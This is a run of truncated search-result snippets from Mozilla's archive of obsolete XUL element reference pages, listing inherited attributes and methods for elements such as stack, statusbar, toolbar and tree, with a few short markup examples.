examples <box> <button label="left"/> <spacer flex="1"/> <button label="right"/> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
stack - Archive of obsolete content
ArchiveMozillaXULstack
--> </hbox> </stack> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related deck ...
statusbar - Archive of obsolete content
properties accessibletype examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getat...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundle - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related xul property files ...
stringbundleset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , alloweven...
...ts, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens...
...(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
tabpanel - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, stat...
...ustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattrib...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tabbox, tabs, tab, tabpanels.
tabpanels - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...a select event will be sent when the selected panel is changed.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(...
template - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
textnode - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbar - Archive of obsolete content
mode, toolbarname properties accessibletype, currentset, firstpermanentchild, lastpermanentchild, toolbarname, toolboxid methods insertitem style classes chromeclass-toolbar examples <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton id="nav-users" accesskey="u" label="users"/> <toolbarbutton id="nav-groups" accesskey="p" label="groups"/> <toolbarbutton id="nav-events" accesskey="e" label="events" disabled="true"/> </toolbar> </toolbox> attributes autohide type: boolean when set to true, the toolbar will be invisible unless the alt key is pressed by the user.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes chromeclass-toolbar when this class is used, the toolbar will be hidden when a window is opened by setting the toolbar option to no in the window.open method.
toolbargrippy - Archive of obsolete content
properties accessible examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), get...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbaritem - Archive of obsolete content
selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
properties accessibletype examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getatt...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-c...
...ursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelement...
...sbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
toolbarspacer - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribut...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width pro...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), geteleme...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
treechildren - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="to...
treecols - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, g...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecol, treechildren, treeitem, treerow, treecell and treeseparator.
treerow - Archive of obsolete content
